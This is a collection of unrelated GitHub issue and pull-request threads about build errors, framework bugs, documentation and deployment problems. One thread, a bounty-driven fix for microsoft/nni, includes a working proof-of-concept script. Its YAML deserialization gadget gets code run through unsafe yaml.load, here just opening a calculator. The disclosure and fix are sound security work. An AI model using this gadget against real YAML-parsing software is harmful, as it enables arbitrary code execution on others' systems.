ups, I close the issue jajaja sorry I can't reopen , I seems new in github but nope jajaja

Hello firegore2, I saw the PR request, although I have the actual source code for the NPM package, I haven't merged it into this repo yet. If you could wait a few days Ill merge it here and you can update with the jhucase. Sorry for the trouble.

Already done this!


RangeError: Maximum call stack size exceeded

Environment
Dev
Reproduction
No reproduction.
Describe the bug
Getting the below error after updating my nuxt version from ('^3.5.1') to ('^3.11.1).
and it will break the page and show "This page isn't working", after reloding it work's fine.
Error is here.
browser.mjs?v=fd19e36f:44 Uncaught (in promise) RangeError: Maximum call stack size exceeded
    at BrowserReporter.log (browser.mjs?v=fd19e36f:44:7)
    at Consola._log (core.mjs?v=fd19e36f:381:16)
    at resolveLog (core.mjs?v=fd19e36f:349:14)
    at Consola._logFn (core.mjs?v=fd19e36f:377:5)
    at core.mjs?v=fd19e36f:306:19
    at BrowserReporter.log (browser.mjs?v=fd19e36f:44:7)
    at Consola._log (core.mjs?v=fd19e36f:381:16)
    at resolveLog (core.mjs?v=fd19e36f:349:14)
    at Consola._logFn (core.mjs?v=fd19e36f:377:5)

Additional context
No response
Logs
No response

Not much to do here without a reproduction. If it only happens with i18n, consider raising an issue in https://github.com/nuxt-community/i18n-module too (but also with a reproduction).

My situation currently only happened in i18n.
I think I should react over there.
I just happened to see the OP experiencing the same issue.
Thank you.

@manniL
I reproduced this issue on codesandbox
https://codesandbox.io/p/devbox/fancy-wave-7tjy7r
Although it's currently only happening in i18n
Actually, my colleagues have similar issues in other situations, but they didn't record the reasons and have forgotten.
I have already reported and submitted it on the i18n side
But because this issue arises after 3.11.0
Everything was working fine before 3.10.3
After 3.11.0, I noticed
WARN Cannot stringify arbitrary non-POJOs ComputedRefImpl
And the screen no longer renders, only the NUXT LOGO appears, everything freezes
After 3.11.1, it throws Maximum call stack size exceeded
So I'm wondering if 3.11 might have broken something?
Thanks

@DamianGlowala Yes I am using i18n module.
"@nuxtjs/i18n": "^8.1.1"

@manniL
I reproduced this issue on codesandbox https://codesandbox.io/p/devbox/fancy-wave-7tjy7r
Although it's currently only happening in i18n Actually, my colleagues have similar issues in other situations, but they didn't record the reasons and have forgotten.
I have already reported and submitted it on the i18n side But because this issue arises after 3.11.0 Everything was working fine before 3.10.3
After 3.11.0, I noticed WARN Cannot stringify arbitrary non-POJOs ComputedRefImpl And the screen no longer renders, only the NUXT LOGO appears, everything freezes
After 3.11.1, it throws Maximum call stack size exceeded
So I'm wondering if 3.11 might have broken something?
Thanks

I am also facing same issue when using @pinia/nuxt. I created a project in stackblitz https://stackblitz.com/edit/nuxt-starter-kzk5zi but the issue it not reproducing in stackblitz.
When I run in local system, I am getting the issue. My system configuration
OS: Ubuntu 20.04.6 LTS
Node: v18.18.2
npx: 9.8.1

I created project using command: npx nuxi@latest init and then installed @pinia/nuxt and pinia. I also added @pinia-plugin-persistedstate/nuxt package for persistance.

https://github.com/nuxt-modules/i18n/issues/2892#issuecomment-2033581580
The error was due to the new and improved logging in version 3.11.
It seems that this feature has overridden the behavior of console.log.
To restore normal function, simply disable devlogs.
I confirmed with my colleagues that there is also a chance of it happening other than i18n. [cannot reproduce]
export default defineNuxtConfig({
  features: {
    devLogs: false
    // or 'silent' to allow you to handle yourself with `dev:ssr-logs` hook
  },
})

Should be fixed via https://github.com/nuxt/nuxt/pull/26503 on nightly ☺

It worked for by using locale.value instead of locale:


GH923: Increase log verbosity on main branch.

Closes #923

Hi @patriksvensson, I'm your friendly neighborhood .NET Foundation Pull Request Bot (You can call me DNFBOT). Thanks for your contribution!
You've already signed the contribution license agreement. Thanks!
The agreement was validated by .NET Foundation and real humans are currently evaluating your PR.
TTYL, DNFBOT;

LGTM! :+1:


Build with meson on Windows so that pkg-config files are provided.

Checklist

[x] Used a fork of the feedstock to propose changes
[x] Bumped the build number (if the version is unchanged)
[ ] Reset the build number to 0 (if the version changed)
[x] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[x] Ensured the license file is being packaged.

Here's the problem I ran into: now that cairo includes cairo-gobject on Windows, it's possible to enable cairo support in pygobject on Windows. However, that build uses meson and it fails to find pycairo unless pkg-config files are provided, which currently they are not. In failing to find pycairo, it does a subproject build of it internally and then ends up adding bits of pycairo to the pygobject package. Those bits could probably be stripped and it would work fine, but that's less clean than using the dependency properly.
What is needed is for pycairo to include pkg-config files, at least on Windows, so that pygobject can use it. My solution in this pull request is to build pycairo using meson on Windows, which ends up including the pkg-config files. The other option might be to try running setup.py directly instead of through pip (since the pkg-config files are not included when the build goes through a wheel), but it looks like that was once done and dropped because of build issues.

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.


TS Filler Arb Updates

Updates ts-filler proof generation for Arbitrum based on new dispute protocol

🟡 Heimdall Review Status

Requirement
Status
More Info

Reviews

🟡
0/1

Denominator calculation

Show calculation

1 if user is bot
0

1 if user is external
0

From .codeflow.yml

1

Additional review requirements

Show calculation

Max
0

0

From CODEOWNERS

0

Global minimum
0

Max

1

1

1 if commit is unverified
0

Sum
1


debug Gale thumbnail display

This turned out to be a problem on Gale's end. Jess reported that the technologists restarted the content API servers to clear the key cache, and this appears to have fixed the problem of a cron job that was not processing correctly. After reindexing everything, image thumbnails now display properly for new searches.
Some old searches we were testing with, however, seem to be caching the "image not available" thumbnail, even after hard refreshing. For instance,

https://prosody.princeton.edu/archive/CW0114873189/?query=tongue
[https://prosody.princeton.edu/archive/CW0114873189/?query=tongue] https://prosody.princeton.edu/archive/CW0114873189/?query=art

This caching problem is likely on our end somewhere, but since it's affecting so few volumes/searches, we're leaving it for now.


ddos protection?

hello some people are looking into client logs on technic and started ddos my solder link because i am using digital ocean is there a way to have ddos protection that great with technic Solder.
thanks

DDoS protection needs to be on the network side - not client/end user.
In other words you yourself need to organise DDoS with Digital Ocean.
Also a quick 3 second google search came up with https://www.digitalocean.com/community/tutorials/how-to-mitigate-ddos-attacks-against-your-website-with-cloudflare

I did setup cloudflare but however wont work with Technic stop user from getting modpack and stop them from downloading mods

downloading != DDoS

what do you mean ?

downloading does not equal DDoS

okay but what i am saying that once i setup CloudFlare users are unable to download the mods from the modpacks

if i stop cloudflare users can download it

You know if you actually searched already existing issues you would come across https://github.com/TechnicPack/TechnicSolder/pull/572
Make the change yourself

sorry i been searching is that the issue you gave me to look at i don't fully understand, is there a guide to fix this issue with cloudflare ?

There is a guide posted like 5 comments up. This isn't the place to discuss this.


Compiler warning: Parameter of 'scrollViewShouldScrollToTop' has different optionality than expected by protocol 'UIScrollViewDelegate'

Compiling SlackTextViewController, installed with CocoaPods, emits the following warning:
./MyApp/__ObjC.SLKTextViewController:292:14: Parameter of 'scrollViewShouldScrollToTop' has different optionality than expected by protocol 'UIScrollViewDelegate'

This warning is presented even though I don't override scrollViewShouldScrollToTop anywhere in my project.
Removing the following line from SLKTextViewController.h fixes the warning:
- (BOOL)scrollViewShouldScrollToTop:(UIScrollView *)scrollView NS_REQUIRES_SUPER;

Xcode 6.3.1, Base SDK 8.0

Sorry, that was incorrect. I'm using Base SDK 8.3 and Swift 1.2. Only deployment target is 8.0.
I'll try different settings to see if it will disappear or not.

@tomaskraina What was the outcome of this? I'm seeing the same thing with XCode 6.3.1, Swift 1.2, and Base SDK 8.3.
Were you able to get rid of those warnings? Thanks.

Got these two warnings also. I guess that they may relate to the NS_REQUIRES_SUPER attribute.


Allow IG spec to specify(override) headers to propagate

What this PR does / why we need it:
Allows the IG spec to specify(override) the headers to be propagated to the inference services, allowing IG owners to decide instead of only being globally available
Which issue(s) this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close the issue(s) when PR gets merged):
Fixes #2693
Type of changes
Please delete options that are not relevant.

[ ] Bug fix (non-breaking change which fixes an issue)
[X] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] This change requires a documentation update

Feature/Issue validation/testing:
Please describe the tests that you ran to verify your changes and relevent result summary. Provide instructions so it can be reproduced.
Please also list any relevant details for your test configuration.

[ ] Test A

[ ] Test B

Logs

Special notes for your reviewer:

Please confirm that if this PR changes any image versions, then that's the sole change this PR makes.

Checklist:

[ ] Have you added unit/e2e tests that prove your fix is effective or that this feature works?
[ ] Has code been commented, particularly in hard-to-understand areas?
[ ] Have you made corresponding changes to the documentation?

Release note:

/assign @yuzisun @Iamlovingit @rachitchauhan43

@navneetraju : Can you sign off the commit? You can see instructions here https://github.com/kserve/kserve/pull/2710/checks?check_run_id=11482085190

@navneetraju : Also, since you have changed the spec, this must have changes for generated code and CRDs too ? Can you check-in those as well?

IG yaml tested with:
---
apiVersion: serving.kserve.io/v1beta1
kind: InferenceService
metadata:
  name: postprocessor
spec:
  predictor:
    minReplicas: 1
    containers:
      - name: kserve-container
        image: docker.****.com/****/ig-**-post-processing-node/service/ig-**-post-processing-node:0.2.3
        imagePullPolicy: Always
        resources:
          limits:
            cpu: '2'
            memory: '1Gi'
          requests:
            cpu: '500m'
            memory: '512Mi'
        args:
          - --model_name
          - postprocessor
---
apiVersion: serving.kserve.io/v1alpha1
kind: InferenceGraph
metadata:
  name: inferencegraph1099b
spec:
  headers:
    propagate:
      - Offeringid
      - Appid
  nodes:
    root:
      routerType: Sequence
      steps:
        - serviceUrl: http://postprocessor.default.svc.cluster.local/v1/models/postprocessor:predict

Logs in isvc:

/lgtm

@navneetraju : Can you also screenshots from kserve controller logs on how it logs lines from reconciler ?

Here is a sample controller log:

Looks we do not have an integration test for inference graph reconciliation like we do have for inference service, as we are making more changes we should have the tests in place.

Seems like there is an e2e test  for inference graph, this should be testing the reconciliation. This test can be enhanced if needed

Seems like there is an e2e test  for inference graph, this should be testing the reconciliation. This test can be enhanced if needed

right, but would be nice to run make test to test the reconciliation locally without needing the whole setup to run the e2e test.

Seems like there is an e2e test  for inference graph, this should be testing the reconciliation. This test can be enhanced if needed

@navneetraju : These are the tests that you need to extend to test reconciliation e2e.
https://github.com/rachitchauhan43/kserve/blob/master/pkg/controller/v1alpha1/inferencegraph/controller_test.go

Have been slightly out of sync with this. If we are good with this format: serving.kserve.io/inferencegraph-headers: {"propagate":["Custom-Header1","Custom-Header2"]}, I can proceed with the changes.

Have been slightly out of sync with this. If we are good with this format: serving.kserve.io/inferencegraph-headers: {"propagate":["Custom-Header1","Custom-Header2"]}, I can proceed with the changes.

@navneetraju sgtm


Fix performance degradation introduced by GW code

This impacted even non gateway traffic
Signed-off-by: Ivan Kozlovic<EMAIL_ADDRESS>/cc @nats-io/core

Coverage increased (+0.04%) to 91.741% when pulling efd891d2ae577cbcf0f9c96f7fceb61012e9a361 on perf_fix into f4fda531a0c0b118c125af0e45aa9cc6dd3d25af on master.


Fixed failures with older Spatialite versions

buildbot, test on precise

buildbot, test on precise

buildbot, test on precise.

Code looks fine. I think you need the trailing period to trigger the build.


Create text-field with auto layout

Started working on the component in Figma, but there are a couple of things we should discuss. Are we happy with the features we have? Should something be omitted or added to the next version? Perhaps a short discussion after standup tomorrow?

We had a small revisit of the manual resizing for "textfield" yesterday as we were unsure if this feature should be enabled in code. Discussion here: #1155

I think Error, Success and Warning are missing the suffix icon choice in the menu.
Could it be that Prefix icon and Prefix text has switced places?
A lot of really good work has been done here!


Upgrade Linux Kernel for flatcar-3874 from 6.6.16 to 6.6.19

Subject says it all.

See instead https://github.com/flatcar/scripts/pull/1726


lib-curl dependency

Hi there,
tinify/tinify 1.5.2 requires lib-curl >=7.20.0 -> the requested linked library curl has the wrong version installed or is missing from your system, make sure to have the extension providing it.
Does tinify actually require 7.20.0, or could 7.19.0 be run?
Cheers!

Use the --ignore-platform-reqs flag.

did you find a solution? I am having the same issue.

In the past we've seen some issues with 7.19.7 which is why the minimum requirement is set to 7.20.0. Feel free to use the workaround though if you are not experiencing any problems with it.

yes it's good now!
thanks


CARDS-2556: Allow "Information" form entries to be displayed in view mode

This doesn't support print mode, and I wonder if instead of having a single choice between view, edit, any, we should have multiple choice between view, edit, print.

Print support added, please retest @sashaandjic

@marta- why is this a Draft?

@marta- why is this a Draft?

Because it was published untested.


Put social icons back to nav

revert my previous changes on the social icons
change Twitter to X
remove Roadmap from footer

Thank you!


build(oeq-ts-rest-api): add missing ESLint deps

Checklist

[x] the contributor license agreement is signed
[x] commit message follows commit guidelines
- [ ] tests are included
- [ ] screenshots are included showing significant UI changes
- [ ] documentation is changed or added

Description of change

oeq-ts-rest-api maintains its own ESLint setup as the intention is to split it out to its own module. However, it seemed to be missing a few dependencies and instead was simply using those from the root of the project. This only became obvious now that the codegen uses ESLint, and on fresh CI builds of just this module the codegen would fail with missing ESLint.
This is an alternate to and closes #4675
(Note: There appears to be a lot of shuffling of the other dependencies. Seemingly they were out of order previously, but simply using npm install nicely sorts them for us. So there's not as many changes as it appears.)

Oh I thought you were going to add these deps in the package.json of io-ts-gen.

Oh I thought you were going to add these deps in the package.json of io-ts-gen.

Yup, that was my thinking, but then I realised there was a problem with the oeq-ts-rest-api module setup so I fixed it there and all worked locally - when doing npm ci in oeq-ts-rest-api. HOWEVER as we're now seeing, if the npm ci is done in react-frontend then it runs the oeq-ts-rest-api prepare script and THEN gets the oeq-ts-rest-api dependencies. :disappointed:
I guess I could set all that up in gen-io-ts however I'd be further duplicating things.
It'd seem the options (without digging further) are:

Split the oeq-ts-rest-api module so that we can add it as a proper dependency; or
Modify the GHA build as was starting to be done over in #4675 - really, probably merge these two PRs into one might solve it (and improve some things)

I'll leave for the moment while I go and work on my main task. Back soon.

Resolved with #4679


Wonky checkbox behavior when Filters is open

Bit of an edge case but something might be wrong in the JS checkbox logic (clicking the Sample checkbox can change checkboxes in the Filters dropdown?)

wow

@yunfangjuan ?

we're in big trouble with this. If you go to project 30 and try to select the first two samples, all samples disappear and the filter dropdown opens

repro'ed: checking just the 2nd sample seems to trigger the breakdown

@jshoe bug first appeared here: https://github.com/chanzuckerberg/idseq-web/commit/171bb32fda375139da129c5a75980291151db871
:)


[FF specific] Chat textarea height (input message box) is not changed while resizing chat/prompt panels

EPAM AI DIAL chat version
0.9.0
What happened?
Please see #1150 ticket for the details. As it's a part of "Chat textarea height doesn't change when side panels are resized #1150" implementation
Confidential information

[X] I confirm that do not share any confidential information

The ticket was fixed along with #1080


Duplication of plot return from scatter_plots

Two sets of identical scatter plots are output from the gs.scatter_plots function

This is because the scatter_plot function returns the fig object from matplotlib so the user can modify the plot
The solution is to get the return variable
_ = gs.scatter_plots()

Thank you for the clarification!


FB_14 OAD001 Test Cases causes OpenESPI to crash attempting to look up ApplicationInformation by ClientID

The crash is the result of a "NoResultException" occurring when the ScopeSelectionController attempts to locate the ApplicationInformation record for the requesting Third Party and no result is returned.
The reason the crash occurs is that the client_id being used to retrieve the ApplicationInformation record is "third_party?ThirdPartyID=third_party".  The source of the incorrect ThirdPartyID is due to the fact the prepopulated_applicationinformation_dc_testthirdparty.sql file contains "'http://localhost:8080/DataCustodian/RetailCustomer/ScopeSelectionList?ThirdPartyID=third_party' in the dataCustodianScopeSelectionScreenURI field.  This was a "quick fix" and needs to be removed, since the SoapUI 'Verify DC Scope selection URI present" Test Step in has been modified to append "ThirdPartyID=third_party" to the contents of the 'dataCustodianScopeSelectionScreenURI'

Closed 49f00f9e23af50418d3d6c93aeda4c826f3771cb


taskcafe_web_1 exited with code 1

I used docker-compose to install. When running docker-compose -p taskcafe up -d both database and web server start but when I check the web server isn't running. Running this command without -d I get these logs:
root@raspberrypi:/home/pi/selfhosted/taskcafe/taskcafe# docker-compose -p taskcafe up
taskcafe_postgres_1 is up-to-date
Starting taskcafe_web_1 ... done
Attaching to taskcafe_postgres_1, taskcafe_web_1
web_1       | standard_init_linux.go:207: exec user process caused "exec format error"
postgres_1  | The files belonging to this database system will be owned by user "postgres".
postgres_1  | This user must also own the server process.
postgres_1  |
postgres_1  | The database cluster will be initialized with locale "en_US.utf8".
postgres_1  | The default database encoding has accordingly been set to "UTF8".
postgres_1  | The default text search configuration will be set to "english".
postgres_1  |
postgres_1  | Data page checksums are disabled.
postgres_1  |
postgres_1  | fixing permissions on existing directory /var/lib/postgresql/data ... ok
postgres_1  | creating subdirectories ... ok
postgres_1  | selecting dynamic shared memory implementation ... posix
postgres_1  | selecting default max_connections ... 100
postgres_1  | selecting default shared_buffers ... 128MB
postgres_1  | selecting default time zone ... UTC
postgres_1  | creating configuration files ... ok
postgres_1  | running bootstrap script ... ok
postgres_1  | sh: locale: not found
postgres_1  | 2020-12-03 16:09:27.746 UTC [29] WARNING:  no usable system locales were found
postgres_1  | performing post-bootstrap initialization ... ok
postgres_1  | syncing data to disk ... ok
postgres_1  |
postgres_1  | initdb: warning: enabling "trust" authentication for local connections
postgres_1  | You can change this by editing pg_hba.conf or using the option -A, or
postgres_1  | --auth-local and --auth-host, the next time you run initdb.
postgres_1  |
postgres_1  | Success. You can now start the database server using:
postgres_1  |
postgres_1  |     pg_ctl -D /var/lib/postgresql/data -l logfile start
postgres_1  |
postgres_1  | waiting for server to start....2020-12-03 16:09:32.211 UTC [34] LOG:  starting PostgreSQL 12.3 on arm-unknown-linux-musleabihf, compiled by gcc (Alpine 9.3.0) 9.3.0, 32-bit
postgres_1  | 2020-12-03 16:09:32.219 UTC [34] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
postgres_1  | 2020-12-03 16:09:32.282 UTC [35] LOG:  database system was shut down at 2020-12-03 16:09:30 UTC
postgres_1  | 2020-12-03 16:09:32.293 UTC [34] LOG:  database system is ready to accept connections
postgres_1  |  done
postgres_1  | server started
postgres_1  | CREATE DATABASE
postgres_1  |
postgres_1  |
postgres_1  | /usr/local/bin/docker-entrypoint.sh: ignoring /docker-entrypoint-initdb.d/*
postgres_1  |
postgres_1  | 2020-12-03 16:09:33.005 UTC [34] LOG:  received fast shutdown request
postgres_1  | waiting for server to shut down....2020-12-03 16:09:33.010 UTC [34] LOG:  aborting any active transactions
postgres_1  | 2020-12-03 16:09:33.015 UTC [34] LOG:  background worker "logical replication launcher" (PID 41) exited with exit code 1
postgres_1  | 2020-12-03 16:09:33.015 UTC [36] LOG:  shutting down
postgres_1  | 2020-12-03 16:09:33.061 UTC [34] LOG:  database system is shut down
postgres_1  |  done
postgres_1  | server stopped
postgres_1  |
postgres_1  | PostgreSQL init process complete; ready for start up.
postgres_1  |
postgres_1  | 2020-12-03 16:09:33.144 UTC [1] LOG:  starting PostgreSQL 12.3 on arm-unknown-linux-musleabihf, compiled by gcc (Alpine 9.3.0) 9.3.0, 32-bit
postgres_1  | 2020-12-03 16:09:33.144 UTC [1] LOG:  listening on IPv4 address "<IP_ADDRESS>", port 5432
postgres_1  | 2020-12-03 16:09:33.144 UTC [1] LOG:  listening on IPv6 address "::", port 5432
postgres_1  | 2020-12-03 16:09:33.152 UTC [1] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
postgres_1  | 2020-12-03 16:09:33.235 UTC [45] LOG:  database system was shut down at 2020-12-03 16:09:33 UTC
postgres_1  | 2020-12-03 16:09:33.250 UTC [1] LOG:  database system is ready to accept connections
postgres_1  | 2020-12-03 16:29:16.829 UTC [1] LOG:  received smart shutdown request
postgres_1  | 2020-12-03 16:29:16.838 UTC [1] LOG:  background worker "logical replication launcher" (PID 51) exited with exit code 1
postgres_1  | 2020-12-03 16:29:16.844 UTC [46] LOG:  shutting down
postgres_1  | 2020-12-03 16:29:16.888 UTC [1] LOG:  database system is shut down
postgres_1  |
postgres_1  | PostgreSQL Database directory appears to contain a database; Skipping initialization
postgres_1  |
postgres_1  | 2020-12-03 16:29:23.643 UTC [1] LOG:  starting PostgreSQL 12.3 on arm-unknown-linux-musleabihf, compiled by gcc (Alpine 9.3.0) 9.3.0, 32-bit
postgres_1  | 2020-12-03 16:29:23.643 UTC [1] LOG:  listening on IPv4 address "<IP_ADDRESS>", port 5432
postgres_1  | 2020-12-03 16:29:23.644 UTC [1] LOG:  listening on IPv6 address "::", port 5432
postgres_1  | 2020-12-03 16:29:23.653 UTC [1] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
postgres_1  | 2020-12-03 16:29:23.728 UTC [21] LOG:  database system was shut down at 2020-12-03 16:29:16 UTC
postgres_1  | 2020-12-03 16:29:23.740 UTC [1] LOG:  database system is ready to accept connections
taskcafe_web_1 exited with code 1

It seems the web server is crashing. I am running this on my raspberry pi 4.

Docker compose version: 1.21.0. Build unknown.
Installed via apt-get on raspian.

standard_init_linux.go:207: exec user process caused "exec format error"
May or may not be the cause. Does Docker on arm work nicely with x86_64/amd64 compiled golang binaries?

I sure don't have much experience to comment on arm compatibility. I will try to install from source and update.

Well that's odd - however judging by the logs it doesn't appear to be an issue with taskcafe itself but possibly something to do with your setup or docker install. Closing as this is not something I can provide any help on.

Update: I compiled from source and its working.

same question.

same question.

same question.

Are you running on ARM processor?

same question.

Are you running on ARM processor?

@ParmuSingh yes, raspberry pi 4.

@dongshimou follow the build from source instructions. The only thing not mentioned in wiki is configuring database. Simply create a database for taskcafe in postgres as mentioned in the config file. Other than that everything is mentioned in wiki.

@JordanKnott I think the "problem" is that your docker-image is linux/amd64 only and not arm64. how to you create your docker-image? Manually? I couldn't find a .github/workflow-file ... I think the best would be to build with docker buildx, there is a github action for this: https://github.com/docker/setup-buildx-action
I've done something similar (but didn't need to push it to dockerhub)


Disable the checks for state trie root hash during execution

Describe the feature
Since in Telos EVM, there is no state trie storage, it doesn't have any state trie root hash and in a block, it is set to the default blank value (0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421). So the check for validation of state trie root hash should be omitted.
Additional context
No response

We may want to turn this back on, leaving issue open until that decision is made.

We will not be turning this back on, as block hash needs to be generated/provided by consensus client and it does not have a valid state root to use for generating the hash, it introduces immense complexity and risk.


multiple definition of `XboxSeriesXControllerESP32_asukiaaa::controllerAppearance' error

Referencing #include <XboxSeriesXControllerESP32_asukiaaa.hpp>in multiple files will cause multiple definition errors；
so can those  variables be declared  as static  or class static constant?
static uint16_t controllerAppearance = 964;
static String controllerManufacturerDataNormal = "060000";
static String controllerManufacturerDataSearching = "0600030080";

Thank you for the information.
I changed the definition with using static const and released 1.0.9.
https://github.com/asukiaaa/arduino-XboxSeriesXControllerESP32/commit/9b0916bce465b6eef6f2bfc3d4d1e39c8bb491ba


[Blazor] Components overview - Capture references to components - misleading example with event handler delegate ReferenceParent2.razor

Description

A component reference is only populated after the component is rendered, and its output includes ReferenceChild's element. Until the component is rendered, there's nothing to reference.
To manipulate component references after the component has finished rendering, use the OnAfterRender or OnAfterRenderAsync methods.

The preceding paragraphs explain that you can only use a component reference after the referred component is rendered, typically in the OnAfterRender method. I'm puzzled by the focus on event handlers in the next paragraph, suggesting two approaches:

lambda expression
event handler delegate

To use a reference variable with an event handler, employ a lambda expression or assign the event handler delegate in the OnAfterRender or OnAfterRenderAsync methods. This ensures the reference variable is assigned before the event handler is set up.

@page "/reference-parent-1"

<PageTitle>Reference Parent 1</PageTitle>

Reference Parent Example 1

<button @onclick="@(() => childComponent?.ChildMethod(5))">
    Call ReferenceChild.ChildMethod with an argument of 5
</button>

<ReferenceChild @ref="childComponent" />

@code {
    private ReferenceChild? childComponent;
}

The discussion here revolves not around event handlers and their syntax, but the general safety of using component references. Guarding the usage of a component reference with a null-conditional operator (childComponent?.ChildMethod()) is one approach and is not limited to lambda expressions.
The ReferenceParent2.razor example doesn't add value by using the callChildMethod event handler delegate, as the only code in CallChildMethod() is also guarded with a null-conditional operator.
@page "/reference-parent-2"

<PageTitle>Reference Parent 2</PageTitle>

Reference Parent Example 2

<button @onclick="@(() => callChildMethod?.Invoke())">
    Call ReferenceChild.ChildMethod with an argument of 5
</button>

<ReferenceChild @ref="childComponent" />

@code {
    private ReferenceChild? childComponent;
    private Action? callChildMethod;

    protected override void OnAfterRender(bool firstRender)
    {
        if (firstRender)
        {
            callChildMethod = CallChildMethod;
        }
    }

    private void CallChildMethod()
    {
        childComponent?.ChildMethod(5);
    }
}

The original intention might have been to present an alternative to the null-conditional operator guard, but I still argue that enabling/disabling event handlers by using a delegate assigned in OnAfterRender complicates readability and maintainability, even if it technically works.
To demonstrate an alternative approach to guarding the component reference with a null-conditional operator, consider using a bool isReady flag. This can be checked whenever you need to verify the component reference is usable. Note: The OnAfterRender method doesn't guarantee the component reference will be set and ready, e.g., if the referred component is conditionally rendered.
@page "/reference-parent-2"

<PageTitle>Reference Parent 2</PageTitle>

Reference Parent Example 2

<button @onclick="CallChildMethod">
    Call ReferenceChild.ChildMethod with an argument of 5
</button>

<ReferenceChild @ref="childComponent" />

@code {
    private ReferenceChild? childComponent;
    private bool isReady;

    protected override void OnAfterRender(bool firstRender)
    {
            isReady = true;
    }

    private void CallChildMethod()
    {
        if (!isReady)
        {
           return;
        }
        childComponent?.ChildMethod(5);
    }
}

My proposal:

Remove the focus on "event handlers" from the explanation.
Remove the whole ReferenceParent2.razor example or replace it with code using an isReady (or better named) flag if we want to show alternative approach to null-checking of component reference.

Page URL
https://learn.microsoft.com/en-us/aspnet/core/blazor/components/?view=aspnetcore-8.0
Content source URL
https://github.com/dotnet/AspNetCore.Docs/blob/main/aspnetcore/blazor/components/index.md
Document ID
31ad18df-1904-bbdd-cfed-8d0d0267c10e
Article author
@guardrex

I agree the content here can be simplified. I'm not certain why the docs suggest explicitly capturing a delegate for callChildMethod since it would work exactly the same without doing that.
That is, this code in the doc:
<button @onclick="@(() => callChildMethod?.Invoke())">
    Call ReferenceChild.ChildMethod with an argument of 5
</button>

<ReferenceChild @ref="childComponent" />

@code {
    private ReferenceChild? childComponent;
    private Action? callChildMethod;

    protected override void OnAfterRender(bool firstRender)
    {
        if (firstRender)
        {
            callChildMethod = CallChildMethod;
        }
    }

    private void CallChildMethod()
    {
        childComponent?.ChildMethod(5);
    }
}

... could be simplified to:
<button @onclick="@CallChildMethod">
    Call ReferenceChild.ChildMethod with an argument of 5
</button>

<ReferenceChild @ref="childComponent" />

@code {
    private ReferenceChild? childComponent;

    private void CallChildMethod()
    {
        childComponent!.ChildMethod(5);
    }
}

I think it's better to use childComponent!.ChildMethod (rather than childComponent?.ChildMethod) so that you get a clear error if childComponent is somehow not yet populated (which it always will be in this example).
@guardrex I think we should remove the suggestion to "assign the event handler delegate in the OnAfterRender or OnAfterRenderAsync methods". Unless I'm missing something, there's no reason for people to be capturing these delegates manually, and it will make no difference to the validity of calling them.

@SteveSandersonMS ... It would've been something pertaining to @mrlife's discussion with Artak here 👉 https://github.com/dotnet/AspNetCore.Docs/pull/19038.
I'll get your updates :point_up: scheduled now.

@guardrex Ah, now I understand the issue the original samples were addressing. It's not about "the component reference not being available at the moment of clicking the button." Rather, it's about "the component reference not being available at the moment of assigning the @onClick delegate," where the incorrect approach is @onclick="childComponent.ChildMethod". In my opinion, I suggest explicitly stating something like, "You cannot use @onclick="childComponent.ChildMethod" because the component reference is not available at the moment of assigning such an expression. Use a HandleClick method or a lambda expression instead."
cc @SteveSandersonMS

It's already on the PR, @hakenr ... let me know over there how the draft text works. We can work on the wording further if needed.


Rce fix

:bar_chart: Metadata *
Arbitrary Code Excecution in microsoft/nni. An open source AutoML toolkit for automate machine learning lifecycle, including feature engineering, neural architecture search, model compression and hyper-parameter tuning.
Bounty URL: https://www.huntr.dev/bounties/1-pip-nni
:gear: Description *
This package was vulnerable to Arbitrary code execution due to a use of a known vulnerable function load() in yaml
:computer: Technical Description *
Fixed by avoiding unsafe loader.
:bug: Proof of Concept (PoC) *
Create the following PoC file:
exploit.py
import os

os.system('pip3 install nni')
exploit = """authorName: !!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
experimentName: example_mnist_pytorch
trialConcurrency: 1
maxExecDuration: 1h
maxTrialNum: 10
#choice: local, remote, pai
trainingServicePlatform: local
searchSpacePath: search_space.json
#choice: true, false
useAnnotation: false
tuner:
  #choice: TPE, Random, Anneal, Evolution, BatchTuner, MetisTuner, GPTuner
  #SMAC (SMAC should be installed through nnictl)
  builtinTunerName: TPE
  classArgs:
    #choice: maximize, minimize
    optimize_mode: maximize
trial:
  command: python3 mnist.py
  codeDir: .
  gpuNum: 0
"""
open('exploit.yml','w+').write(exploit)
os.system('nnictl create --config exploit.yml')
os.system('rm exploit.yml')

Execute the following commands in another terminal:
python3 exploit.py

Check the Output:

xcalc will pop up.
:fire: Proof of Fix (PoF) *
After fix it will not popup a calc
:+1: User Acceptance Testing (UAT)
After fix functionality is unaffected.

Congratulations Anon-Artist - your fix has been selected! 🎉
Thanks for being part of the community & helping secure the world's open source code.
If you have any questions, please respond in the comments section, or hit us up on Discord. Your bounty is on its way - keep hunting!
Come join us on Discord

Congratulations Anon-Artist - your fix has been selected! 🎉
Thanks for being part of the community & helping secure the world's open source code.
If you have any questions, please respond in the comments section, or hit us up on Discord. Your bounty is on its way - keep hunting!
Come join us on Discord


Suddenly doesn't launch via Steam on the Steam Deck

Steam Deck running 3.6.19 no longer manages to launch MinEDLauncher at all, nothing is created in the log, nothing happens at all - using the Konsole launch options.
Pasting the log anyway (I've tried to start it a few times from the folder w/o wine prefix defined, don't worry about those ones)
min-ed-launcher.log

Installed Alacritty and used the Alacritty launch options and it worked, something's up with konsole.

+1 that something's up with konsole. Even trying konsole from flatpak on my desktop breaks, just with trying to do something like flatpak run org.kde.konsole ping google.com. How did you manage to get Alacritty on your Deck?

sudo steamos-readonly disable sudo pacman -Syu alacritty sudo steamos-readonly enable
Might need to redo on SteamOS updates

A less than ideal workaround until the konsole issue can be identified would be to run the launcher directly. You won't get a window showing you what's going on (can still check the log file to find out) but it will still run. You won't be able to provide it input so you'll have to use autorun and autoquit and you won't be able to use the restart feature.
